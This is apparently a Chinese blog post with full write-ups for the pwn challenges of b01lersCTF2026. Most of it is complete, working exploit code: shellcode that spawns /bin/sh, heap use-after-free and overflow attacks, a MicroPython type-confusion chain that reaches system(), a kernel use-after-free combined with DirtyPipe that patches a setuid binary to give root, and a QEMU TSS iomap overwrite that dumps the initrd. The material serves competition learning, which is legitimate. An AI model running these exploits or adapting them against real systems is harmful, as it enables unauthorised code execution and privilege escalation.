Mobile wallpaper 1
3731 字
19 分钟
b01lersCTF2026 PWN 方向全题解

b01lersCTF2026 PWN 方向全题解#

Abstract#

也是ak了一次题目捏

第二次 AK 居然是在神秘的 GPT 的辅助下完成的 可恶啊 T.T

最后还是在 Multifiles 上使用了禁忌的力量

不多说,我们直接进题目

Transmutation#

题目分析#

里面最简单的一道题目

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#define MAIN ((char *)main)
#define CHALL ((char *)chall)
#define LEN (MAIN - CHALL)
int main(void);
void chall(void) {
char c = getchar();
unsigned char i = getchar();
if (i < LEN) {
CHALL[i] = c;
}
}
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
mprotect((char *)((long)CHALL & ~0xfff), 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
chall();
return 0;
}

看checksec,发现基本什么都没开

image

能发现实际是一个shellcode题

改 a1 的位置为 a2, 总共有 LEN 的大小给你玩

如果把 chall() 最后的 leave; ret​ 改为 leave; leave

就能够让执行流很丝滑的回滚到 main 函数。 于是,我就成功获得了一个 循环patch的 程序

为了扩展可写范围,将 lea这里改掉,也就是将main的立即数改为 0xdc,就能将可写范围直接改到0xff

image

之后我们直接预备写完shellcode跳到shellcode处,将 jge 跳往的地方改成shellcode

image

之后shellcode正常写就行,一个 正常的执行 shell

攻击思路 & EXP#

综合起来,攻击思路为

  1. 改 ret 为 leave,实现循环写入
  2. 改 LEN,实现扩展可写范围
  3. 改 jge 终点,实现可控跳入 shellcode
  4. 写shellcode,随后运行
# pyright: reportWildcardImportFromLibrary=false
# ruff: noqa: F403, F405
from Mypwn import *
from pwn import *
FILE_NAME = "./src/chall"
LIBC_PATH = "./src/libc.so.6"
LD_PATH = "./src/ld-linux-x86-64.so.2"
IS_SSL = True
REMOTE_TARGET = "transmutation.opus4-7.b01le.rs:8443"
# REMOTE_TARGET = None
HOST = REMOTE_TARGET.split(":")[0]
# HOST = None
CHALL = 0x401146
SHELLCODE_ADDR = 0x4011F3
RET_OFF = 0x48
LEN_OFF = 0x1F
JGE_IMM_OFF = 0x31
SHELLCODE_OFF = SHELLCODE_ADDR - CHALL
init(binary_path=FILE_NAME, libc_path=LIBC_PATH, debug=False)
logHex, lg, info, debug = get_log_function()
def patch_byte(value, off):
return p8(value)+p8(off)
def build_payload():
shellcode = asm(sc.execve("/bin/sh", 0, 0))
payload = b""
# ret -> leave,让 chall 收尾时重新跌回 main 的开头。
payload += patch_byte(0xC9, RET_OFF)
# 把 lea 到 main 的位移从 0x26 改成 0xdc,于是 LEN 变成 0xff。
payload += patch_byte(0xDC, LEN_OFF)
# 把 jge 的落点改到 main 末尾那块原本不会执行的区域。
payload += patch_byte(0x7B, JGE_IMM_OFF)
for i, byte in enumerate(shellcode):
payload += patch_byte(byte, SHELLCODE_OFF + i)
# i == 0xff 时会走 jge,直接跳进我们刚写好的 shellcode。
payload += patch_byte(0x00, 0xFF)
return payload
io = iopen(
target=REMOTE_TARGET,
binary=FILE_NAME,
libc_path=LIBC_PATH,
ld_path=LD_PATH,
ssl=IS_SSL,
sni=HOST,
)
try:
io.send(build_payload())
io.interactive()
finally:
io.close()

image

Spelling-Bee#

题目分析#

这题目拉了一大坨,真不是给人看的

它主要有两个结构体

typedef struct word {
long flags;
long length;
long referenced_by;
void (*code)(void *);
void *param;
} word_t;
typedef struct dictionary {
char *name;
word_t *word;
struct dictionary *next;
bool alloc_name;
} dict_t;

image

开局泄露 dosys地址,等于PIE白开

主要漏洞是 delete word函数没有进行引用检测,也就是存在一个uaf漏洞

攻击思路 & EXP#

我们的攻击链也比较简单

  1. add a; add a c; dele c; 得到 uaf
  2. 通过堆风水控制 C.code指向 dosys, C.param 为所执行命令
  3. 执行A从而拿到shell

# pyright: reportWildcardImportFromLibrary=false
# ruff: noqa: F403, F405
from Mypwn import *
from pwn import *
FILE_NAME = "./src/chall"
LIBC_PATH = "./src/libc.so.6"
LD_PATH = "./src/ld-linux-x86-64.so.2"
REMOTE_TARGET = "priority-queue.opus4-7.b01le.rs:8443"
# REMOTE_TARGET = None
HOST = REMOTE_TARGET.split(":")[0]
# HOST = None
NAME_LEN = 0x7f
CODE_PTR_OFF = 0x18
init(binary_path=FILE_NAME, libc_path=LIBC_PATH, debug=False)
_, dopk, _ = Tool.get_arch_packer(elf)
logHex, lg, info, debug = get_log_function()
def long_name(head, fill):
return head + fill * (NAME_LEN - len(head))
def add(name, body=b""):
line = b": " + name
if body:
line += b" " + body
line += b" ;"
sl(line)
def dele(name):
sl(b"forget " + name)
io = iopen(
target=REMOTE_TARGET,
binary=FILE_NAME,
libc_path=LIBC_PATH,
ld_path=LD_PATH,
ssl=True,
sni=HOST,
)
try:
rcu(b"maybe you could implement them for me?\n")
dosys = int(rcu(b"\n", drop=True), 16)
logHex("dosys", dosys)
w0 = long_name(b"L0", b"A")
w1 = long_name(b"L1", b"B")
w2 = long_name(b"L2", b"C")
add(b"s")
add(w0)
add(w1)
add(w2)
add(b"C")
add(b"A", b"C")
dele(b"s")
dele(w0)
dele(w1)
dele(b"C")
dele(w2)
fake = b"A" * CODE_PTR_OFF + dopk(dosys)[:6]
add(fake)
cmd = b"/bin/sh${IFS}-i;#".ljust(NAME_LEN, b'A')
add(cmd)
sl(b'A') # trigger
rcu(b'/bin/sh: ')
io.interactive()
finally:
io.close()

image

Priority - Queue#

题目分析#

void insert(void) {
puts("Message: ");
char buffer[128] = { 0 };
scanf("%127s", buffer);
char *chunk = malloc(strlen(buffer) + 1);
strcpy(chunk, buffer);
if (capacity == size) {
int new_capacity = capacity * CAPACITY_MULTIPLIER;
char **new = calloc(new_capacity, sizeof(char *));
memcpy(new, array, capacity * sizeof(char *));
free(array);
array = new;
capacity = new_capacity;
}
array[size] = chunk;
move_up(size++);
}
void delete(void) {
if (size == 0) {
puts("Queue is empty!");
return;
}
puts(array[0]);
free(array[0]);
array[0] = array[--size];
move_down(0);
}
void peek(void) {
if (size == 0) {
puts("Queue is empty!");
return;
}
puts(array[0]);
}
void edit(void) {
if (size == 0) {
puts("Queue is empty!");
return;
}
puts("Message: ");
read(fileno(stdin), array[0], 32);
move_down(0);
}

题目实现了对字符串最小堆的优先队列的 insert (add)、delete、peek(show)、edit、count

其中edit固定写 32大小,即存在越界写

add分配大小取决于你输入长度

题目会将flag读到一个chunk里

FILE *file = fopen("flag.txt", "r");
if (file) {
char *flag = malloc(100);
fgets(flag, 100, file);
fclose(file);
}

那么,我们甚至都不用去拿shell了,只要leak Heap中的这个chunk就行

攻击思路 & EXP#

我们的思路也就很简单了

  1. 通过申请 9 个 chunk,触发 array 的扩容。这时扩容出的array里会存储Heap中的地址
  2. 通过两次edit越界写覆盖掉array的chunk头,再用show来泄露出Heap地址
  3. 再将 chunk9 的大小伪造为 0x30或更大,再通过add申请出来,从而替换 array[0]
  4. 最后show拿到flag
# pyright: reportWildcardImportFromLibrary=false
# ruff: noqa: F403, F405
from Mypwn import *
FILE_NAME = "./src/chall"
LIBC_PATH = "./src/libc.so.6"
# REMOTE_TARGET = "priority-queue.opus4-7.b01le.rs:8443"
REMOTE_TARGET = None
# HOST = REMOTE_TARGET.split(":")[0]
HOST = None
PROMPT = b"Operation (insert/delete/peek/edit/count/quit): \n"
ASK = b"Message: \n"
BAD = b"\x00\t\n\v\f\r "
HEAP_TO_FLAG = 0x1C0
init(binary_path=FILE_NAME, libc_path=LIBC_PATH, debug=False)
unpk, dopk, _ = Tool.get_arch_packer(elf)
logHex, lg, info, debug = get_log_function()
def add(msg):
sl(b"insert")
rcu(ASK)
sl(msg)
rcu(PROMPT)
def dele():
sl(b"delete")
return rcu(PROMPT, drop=True)
def edit(msg):
sl(b"edit")
rcu(ASK)
s(msg)
rcu(PROMPT)
def show():
sl(b"peek")
return rcu(PROMPT, drop=True)
def leak_flag_ptr():
payload = flat([
b"z\x00",
b"A" * 14,
dopk(0), dopk(0x21)
]) # 使得chunk8排序到chunk9后,且edit不破坏chunk9的结构
edit(payload)
edit(b"B" * 32) # 覆盖掉 array 的 chunk头,使得进行 show 时能泄露heap地址
data = show()
pos = data.find(b"B" * 32)
heap = unpk(data[pos + 32 : pos + 38])
flag_ptr = dopk(heap - HEAP_TO_FLAG)[:6]
logHex("heap", heap)
logHex("flag_ptr", unpk(flag_ptr))
return flag_ptr
def poison_array(flag_ptr):
edit(b"~\x00" + b"C" * 30)
edit(b"\xff\x00" + b"D" * 14 + dopk(0) + dopk(0x31))
dele()
add(b"z" * 0x20 + flag_ptr)
io = iopen(
target=REMOTE_TARGET,
binary=FILE_NAME,
libc_path=LIBC_PATH,
ssl=True,
sni=HOST,
)
try:
rcu(PROMPT)
for ch in b"abcdefghi":
add(bytes([ch]))
for _ in range(7):
dele()
flag_ptr = leak_flag_ptr()
poison_array(flag_ptr)
data = show()
print(data.decode("latin1", "replace"), end="")
finally:
io.close()

image

Micromicromicropython#

题目分析#

FROM alpine:3.23.3 AS builder
RUN apk add --no-cache build-base git python3
# latest stable release at the time of developing this challenge
RUN git clone --depth 1 --branch v1.27.0 https://github.com/micropython/micropython.git /opt/micropython
WORKDIR /opt/micropython/ports/unix
# patch out os ;)
RUN sed -i 's/#define MICROPY_PY_OS (1)/\/\/ #define MICROPY_PY_OS (1)/' \
./variants/minimal/mpconfigvariant.h
RUN make -j4 submodules
RUN make -j4 VARIANT=minimal
# create catflag
WORKDIR /opt
COPY catflag.c .
RUN gcc -o catflag catflag.c
FROM alpine:3.23.3 AS app
COPY --from=builder /opt/micropython/ports/unix/build-minimal/micropython /usr/local/bin/micropython
COPY --from=builder /opt/catflag /catflag
RUN mkdir -p /app
RUN echo -ne "#!/bin/sh\nexec /usr/local/bin/micropython -i" > /app/run
RUN chmod 755 /app/run && \
chmod 111 /catflag
FROM pwn.red/jail
COPY --from=app / /srv
ENV JAIL_TIME=120

环境给了一个 Micropython,还给你 os 给砍了

我们在网上可以找到这么一个bug: https://github.com/micropython/micropython/issues/18639
这个bug可以通过类型混淆,来做到 任意对象导入。

而这个题目实际上只是不能import os,不是底层接口没了

因而我们可以通过伪造 module 再导入从而拿到 vfs,再泄露libc,从而在后面伪造system,最后调用实现RCE

攻击思路 & EXP#

# pyright: reportWildcardImportFromLibrary=false
# ruff: noqa: F403, F405
import re
import time
from Mypwn import *
FILE_NAME = None
LIBC_PATH = None
LD_PATH = None
REMOTE_TARGET = "micromicromicropython.opus4-7.b01le.rs:8443"
# REMOTE_TARGET = None
HOST = REMOTE_TARGET.split(":")[0]
# HOST = None
PRINT_TO_VFS_POSIX = 0x2F9E0 - 0x2F630
PRINT_TO_FUN1_TYPE = 0x2E550 - 0x2F630
STR_DATA_OFF = 24
PROMPTS = (b">>> ", b"... ")
SYSTEM_SIG = b"\x41\x56\x31\xc0\xb9\x12\x00\x00\x00\x41\x55\x41\x54\x55\x48\x89"
init(binary_path=FILE_NAME, libc_path=LIBC_PATH, debug=False)
logHex, lg, info, debug = get_log_function()
def read_prompt(wait=0.4):
end = time.time() + wait
data = b""
while time.time() < end:
try:
part = io.recv(timeout=0.08)
except EOFError:
break
if not part:
continue
data += part
if data.endswith(PROMPTS):
break
return data.decode("latin1", "replace")
def py(line, wait=0.4):
sl(line.encode())
time.sleep(wait)
return read_prompt(wait + 0.2)
def take_num(text):
hit = re.search(r"-?\d+", text)
if hit is None:
exit(3)
return int(hit.group(0))
def fake_import(name, ptr):
target = str(ptr) if isinstance(ptr, int) else ptr
py(
f"pair=range(id({name!r}), {target}, 1);"
"sys.modules['m']=staticmethod(range(0,1,id(pair)+8));"
"exec('from m import *')"
)
io = iopen(target=REMOTE_TARGET, ssl=True, sni=HOST)
try:
read_prompt(0.3)
print_addr = take_num(py("import sys; print(id(print))"))
vfs_type = print_addr + PRINT_TO_VFS_POSIX
fun1_type = print_addr + PRINT_TO_FUN1_TYPE
logHex("print_addr", print_addr)
fake_import("VFS", vfs_type)
py("os=VFS()")
maps = py("print(os.open('/proc/self/maps','r').read())", 0.7)
hit = re.search(
r"([0-9a-f]+)-[0-9a-f]+\s+r--p\s+00000000\s+\S+\s+\S+\s+/lib/ld-musl-x86_64\.so\.1",
maps,
)
if hit is None:
exit(1)
musl_base = int(hit.group(1), 16)
logHex("musl_base", musl_base)
py("data=os.open('/lib/ld-musl-x86_64.so.1','rb').read()", 1.0)
system_off = take_num(py(f"print(data.find({SYSTEM_SIG}))", 0.8))
if system_off < 0:
exit(2)
system_addr = musl_base + system_off
logHex("system_addr", system_addr)
py("mem=os.open('/proc/self/mem','rb')")
py("cmd='exec /bin/sh -i'")
py(f"mem.seek(id(cmd)+{STR_DATA_OFF})")
cmd_ptr = take_num(py("print(int.from_bytes(mem.read(8),'little'))"))
logHex("cmd_ptr", cmd_ptr)
fake_import("command", cmd_ptr)
py(f"rs=range({fun1_type}, {system_addr}, 1)")
fake_import("system", "id(rs)+8")
sl(b"system(command)")
io.interactive()
finally:
io.close()

image

ThroughTheWall#

题目分析#

依旧内核pwn

简单的复原了一下几个结构体

#define MAX_RULES 0x100
#define RULE_SIZE 0x400
struct firewall_rule {
u32 src_ip;
u32 dst_ip;
u16 port;
u16 rule_type;
char comment[RULE_SIZE - 0x0c];
};
struct fw_rw_req {
u32 idx;
u32 pad;
u64 offset;
u64 len;
u8 data[RULE_SIZE];
};
static struct firewall_rule *rules[MAX_RULES];

add 输入大致是这样的: "10.0.0.1 10.0.0.2 1337 1 x"

会解析成下面这样

src -> 10.0.0.1
dst -> 10.0.0.2
port -> 1337
rule_type -> 1
comment -> x

image

add, edit, dele, show 四个功能全了

一眼看过来感觉就是 UAF 了

image

进来一看,确实没置空

攻击思路 & EXP#

题目的打法也很简单

通过UAF拿到相应内存页, 走 DirtyPipe改 drop_priv 中间对用户权限的设置为 gid=0 uid=0 即可

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define DEVICE_PATH "/dev/firewall"
#define FW_ADD_RULE 0x41004601UL
#define FW_DEL_RULE 0x40044602UL
#define FW_EDIT_RULE 0x44184603UL
#define FW_SHOW_RULE 0x84184604UL
#define RULE_SIZE 0x400
#define PIPE_BUF_CAN_MERGE 0x10
#define SETGID_IMM_OFF 5718
#define SETUID_IMM_OFF 5728
struct edit_req {
uint32_t idx;
uint32_t pad;
uint64_t offset;
uint64_t len;
uint8_t data[RULE_SIZE];
};
static void nope(const char *what) {
perror(what);
_exit(1);
}
static int must_open(const char *path, int flags) {
int fd = open(path, flags);
if (fd < 0) {
nope(path);
}
return fd;
}
static void sit_on_cpu0(void) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(0, sizeof(set), &set) != 0) {
nope("sched_setaffinity");
}
}
static int add_one(int fd, const char *rule) {
char buf[0x100];
memset(buf, 0, sizeof(buf));
snprintf(buf, sizeof(buf), "%s", rule);
return (int)ioctl(fd, FW_ADD_RULE, buf);
}
static void del_one(int fd, uint32_t idx) {
if (ioctl(fd, FW_DEL_RULE, idx) < 0) {
nope("FW_DEL_RULE");
}
}
static void poke_one(int fd, uint32_t idx, uint64_t off, const void *buf, size_t len) {
struct edit_req req;
memset(&req, 0, sizeof(req));
req.idx = idx;
req.offset = off;
req.len = len;
memcpy(req.data, buf, len);
if (ioctl(fd, FW_EDIT_RULE, &req) < 0) {
nope("FW_EDIT_RULE");
}
}
static void peek_one(int fd, uint32_t idx, void *buf, size_t len) {
struct edit_req req;
memset(&req, 0, sizeof(req));
req.idx = idx;
req.len = len;
if (ioctl(fd, FW_SHOW_RULE, &req) < 0) {
nope("FW_SHOW_RULE");
}
memcpy(buf, req.data, len);
}
static void dirty_pipe_write(int fwfd, uint32_t idx, const char *path, off_t off, const void *buf, size_t len) {
uint8_t tmp[0x20];
uint32_t flags;
off_t pos;
int p[2];
int fd;
if (pipe(p) != 0) {
nope("pipe");
}
fd = must_open(path, O_RDONLY);
pos = off - 1;
if (splice(fd, &pos, p[1], NULL, 1, 0) != 1) {
nope("splice");
}
close(fd);
peek_one(fwfd, idx, tmp, sizeof(tmp));
memcpy(&flags, tmp + 0x18, sizeof(flags));
flags |= PIPE_BUF_CAN_MERGE;
poke_one(fwfd, idx, 0x18, &flags, sizeof(flags));
if (write(p[1], buf, len) != (ssize_t)len) {
nope("write(pipe)");
}
close(p[0]);
close(p[1]);
}
int main(void) {
static const uint8_t zero4[4] = {0, 0, 0, 0};
int fwfd;
int idx;
sit_on_cpu0();
fwfd = must_open(DEVICE_PATH, O_RDWR);
idx = add_one(fwfd, "10.0.0.1 10.0.0.2 1337 1 x");
if (idx < 0) {
nope("FW_ADD_RULE");
}
del_one(fwfd, (uint32_t)idx);
dirty_pipe_write(fwfd, (uint32_t)idx, "/bin/drop_priv", SETGID_IMM_OFF, zero4, sizeof(zero4));
dirty_pipe_write(fwfd, (uint32_t)idx, "/bin/drop_priv", SETUID_IMM_OFF, zero4, sizeof(zero4));
close(fwfd);
puts("[*] patched /bin/drop_priv");
puts("[*] exit the current shell and init will respawn a root shell");
return 0;
}

image

Multifiles#

题目分析#

其实这个题目,我是用的一种取巧的方式做出来的。

当你去看 Dockerfile_build 时,会发现 flag 被直接写进了 ${rootfs}/root/flag.txt 里,而这一整个 rootfs 又被打包为了启动资源。

也就是说,我们如果能够通过某种方式将整个包弄出来,让我们能读写,那就会简单不知道多少倍了

而对于 QEMU,有一个叫做 fw_cfg 的东西,虽然配置中将 fw_cfg 关了,但是对于该题,我们可以通过修改 I/O 的 bitmap 来拿到读的权限。

攻击思路 & EXP#

对于这道题目,我是这样构造利用链的:

  1. 通过 gdt 加上 pipe 操作拿到 physmap
  2. 通过 physmap的基址,拿到 TSS 的地址
  3. 再通过一个shellcode将 iomap_base 的两个字节改成 0x3000,从而获得 IO 能力
  4. 最后使用 fw_cfg 将 initrd 拉出来,从里面掏出flag
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <setjmp.h>
#include <signal.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <ucontext.h>
#include <unistd.h>
#include <zlib.h>
#define WATCH_ADDR 0xdead000
#define TSS_PHYS 0x0f806000ULL
#define FW_CFG_PORT_SEL 0x510
#define FW_CFG_PORT_DATA 0x511
#define FW_CFG_INITRD_SIZE 0x0b
#define FW_CFG_INITRD_DATA 0x12
static uint64_t fault_err;
static jmp_buf jb;
static char sig_stack[0x4000];
static uint8_t arb_w_shellcode[] = {
235, 10, 73, 112, 51, 1, 0, 0, 0, 0, 51, 0, 80, 83, 81, 82, 72, 184, 72,
184, 2, 112, 51, 1, 0, 0, 72, 187, 0, 0, 72, 255, 24, 0, 0, 0, 185, 0,
114, 51, 1, 64, 0, 241, 128, 233, 13, 72, 137, 1, 72, 131, 193, 8, 72, 137,
25, 72, 131, 233, 8, 72, 137, 226, 72, 137, 252, 72, 131, 196, 16, 255,
225, 72, 137, 212, 90, 89, 91, 88, 195
};
static void die(const char *msg) {
perror(msg);
exit(1);
}
static void fail(const char *msg) {
fprintf(stderr, "%s\n", msg);
exit(1);
}
static void on_segv(int sig, siginfo_t *info, void *ctx) {
ucontext_t *u = (ucontext_t *)ctx;
(void)sig;
(void)info;
fault_err = (uint64_t)u->uc_mcontext.gregs[REG_ERR];
u->uc_mcontext.gregs[REG_RSP] = (uint64_t)(sig_stack + 0x1000);
longjmp(jb, 1);
}
static void setup_sig(void) {
stack_t ss;
struct sigaction sa;
memset(&ss, 0, sizeof(ss));
ss.ss_size = sizeof(sig_stack);
ss.ss_sp = sig_stack;
if (sigaltstack(&ss, NULL) != 0) {
die("sigaltstack");
}
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = on_segv;
sa.sa_flags = SA_ONSTACK | SA_SIGINFO;
sigfillset(&sa.sa_mask);
if (sigaction(SIGSEGV, &sa, NULL) != 0) {
die("sigaction");
}
}
static void do_iret(uint64_t addr) {
asm volatile(
".intel_syntax noprefix\n"
"mov rsp, %0\n"
"sub rsp, 9\n"
"iretq\n"
".att_syntax prefix\n"
:
: "r"(addr)
: "memory"
);
}
static void arm_watch(pid_t pid, uint64_t addr) {
uint64_t dr0_off = offsetof(struct user, u_debugreg[0]);
uint64_t dr6_off = offsetof(struct user, u_debugreg[6]);
uint64_t dr7_off = offsetof(struct user, u_debugreg[7]);
if (ptrace(PTRACE_POKEUSER, pid, dr0_off, addr) != 0 ||
ptrace(PTRACE_POKEUSER, pid, dr7_off, 0xf0101) != 0 ||
ptrace(PTRACE_POKEUSER, pid, dr6_off, 0) != 0) {
die("ptrace(POKEUSER)");
}
}
static void kid(void) {
int pipes[2];
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
die("ptrace(TRACEME)");
}
raise(SIGSTOP);
if (mmap((void *)WATCH_ADDR, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_POPULATE, -1, 0) == MAP_FAILED) {
die("mmap");
}
sleep(1);
pipe(pipes);
write(pipes[1], (void *)WATCH_ADDR, 1);
_exit(0);
}
static void trip_debug(void) {
pid_t pid = fork();
int st;
if (pid < 0) {
die("fork");
}
if (pid == 0) {
kid();
}
waitpid(pid, &st, 0);
arm_watch(pid, WATCH_ADDR);
ptrace(PTRACE_CONT, pid, 0, 0);
while (1) {
waitpid(pid, &st, 0);
if (WIFEXITED(st)) {
break;
}
if (WIFSTOPPED(st)) {
int sig = WSTOPSIG(st);
ptrace(PTRACE_CONT, pid, 0, sig == SIGTRAP ? 0 : sig);
}
}
}
static uint64_t get_physmap(void) {
char gdt[10];
uint64_t gdt_addr;
uint64_t ist3;
uint64_t physmap = 0xffff000000000000ULL;
int pipes[2];
int i;
asm volatile(
".intel_syntax noprefix\n"
"sgdt [%0]\n"
".att_syntax prefix\n"
:
: "r"(&gdt)
: "memory"
);
memcpy(&gdt_addr, &gdt[2], sizeof(gdt_addr));
ist3 = gdt_addr + 0xffc8;
for (i = 0; i < 3; i++) {
pipe(pipes);
if (!fork()) {
if (setjmp(jb) == 0) {
do_iret(ist3 + 3 + i);
}
write(pipes[1], &fault_err, sizeof(fault_err));
_exit(0);
}
read(pipes[0], &fault_err, sizeof(fault_err));
fault_err >>= 8;
fault_err &= 0xff;
physmap += (fault_err << ((3 + i) * 8));
}
return physmap & 0xfffffffff0000000ULL;
}
static void poke_iomap(uint64_t addr) {
void *code_mapping;
uint64_t gadget = 0x3000;
int i;
code_mapping = mmap((void *)0x1337000, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
-1, 0);
if (code_mapping == MAP_FAILED) {
die("mmap(code)");
}
memcpy(code_mapping, arb_w_shellcode, sizeof(arb_w_shellcode));
for (i = 0; i < 2; i++) {
((void (*)(unsigned long, unsigned char))code_mapping)(addr + i,
(gadget >> (i * 8)) & 0xff);
}
}
static uint32_t fw32(uint16_t selector) {
uint32_t v = 0;
int i;
outw(selector, FW_CFG_PORT_SEL);
for (i = 0; i < 4; i++) {
((uint8_t *)&v)[i] = inb(FW_CFG_PORT_DATA);
}
return v;
}
static uint8_t *grab_initrd(size_t *out_size) {
uint32_t size;
uint8_t *buf;
uint32_t i;
size = fw32(FW_CFG_INITRD_SIZE);
if (size == 0) {
fail("fw_cfg returned empty initrd");
}
buf = malloc(size);
if (!buf) {
die("malloc(initrd)");
}
outw(FW_CFG_INITRD_DATA, FW_CFG_PORT_SEL);
for (i = 0; i < size; i++) {
buf[i] = inb(FW_CFG_PORT_DATA);
}
*out_size = size;
return buf;
}
static uint8_t *inflate_gz(const uint8_t *src, size_t src_len, size_t *out_len) {
z_stream strm;
uint8_t *dst;
size_t cap = 8 * 1024 * 1024;
int ret;
memset(&strm, 0, sizeof(strm));
if (inflateInit2(&strm, 16 + MAX_WBITS) != Z_OK) {
fail("inflateInit2 failed");
}
dst = malloc(cap);
if (!dst) {
die("malloc(gunzip)");
}
strm.next_in = (Bytef *)src;
strm.avail_in = (uInt)src_len;
while (1) {
if (strm.total_out == cap) {
uint8_t *new_dst;
cap *= 2;
new_dst = realloc(dst, cap);
if (!new_dst) {
die("realloc(gunzip)");
}
dst = new_dst;
}
strm.next_out = dst + strm.total_out;
strm.avail_out = (uInt)(cap - strm.total_out);
ret = inflate(&strm, Z_NO_FLUSH);
if (ret == Z_STREAM_END) {
break;
}
if (ret != Z_OK) {
fprintf(stderr, "inflate failed: %d\n", ret);
exit(1);
}
}
*out_len = strm.total_out;
inflateEnd(&strm);
return dst;
}
static uint32_t hex32(const char *s, size_t n) {
char tmp[9];
if (n != 8) {
fail("unexpected hex width");
}
memcpy(tmp, s, 8);
tmp[8] = '\0';
return (uint32_t)strtoul(tmp, NULL, 16);
}
static void print_flag(const uint8_t *buf, size_t len) {
size_t off = 0;
while (off + 110 <= len) {
const char *hdr = (const char *)(buf + off);
uint32_t namesize;
uint32_t filesize;
const char *name;
size_t data_off;
size_t next_off;
if (memcmp(hdr, "070701", 6) != 0 && memcmp(hdr, "070702", 6) != 0) {
fail("cpio magic not found");
}
namesize = hex32(hdr + 94, 8);
filesize = hex32(hdr + 54, 8);
name = (const char *)(buf + off + 110);
data_off = off + 110 + namesize;
data_off = (data_off + 3) & ~((size_t)3);
next_off = data_off + filesize;
next_off = (next_off + 3) & ~((size_t)3);
if (off + 110 + namesize > len || next_off > len) {
fail("cpio entry out of bounds");
}
if (strcmp(name, "TRAILER!!!") == 0) {
break;
}
if (strcmp(name, "./root/flag.txt") == 0 || strcmp(name, "root/flag.txt") == 0) {
fwrite(buf + data_off, 1, filesize, stdout);
if (filesize == 0 || buf[data_off + filesize - 1] != '\n') {
fputc('\n', stdout);
}
return;
}
off = next_off;
}
fail("flag entry not found in cpio");
}
int main(void) {
uint64_t pm;
uint64_t iomap;
uint8_t *gz;
uint8_t *cpio;
size_t gz_len;
size_t cpio_len;
setup_sig();
trip_debug();
pm = get_physmap();
iomap = pm + TSS_PHYS + 0x66;
fprintf(stderr, "[*] physmap=%#llx\n", (unsigned long long)pm);
fprintf(stderr, "[*] iomap_base=%#llx\n", (unsigned long long)iomap);
poke_iomap(iomap);
gz = grab_initrd(&gz_len);
cpio = inflate_gz(gz, gz_len, &cpio_len);
print_flag(cpio, cpio_len);
return 0;
}

image

b01lersCTF2026 PWN 方向全题解
https://blog.mindedness.top/posts/b01lersctf2026-pwn-direction-full-problem-solution-1feesc/
作者
Mindedness
发布于
2026-04-20
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00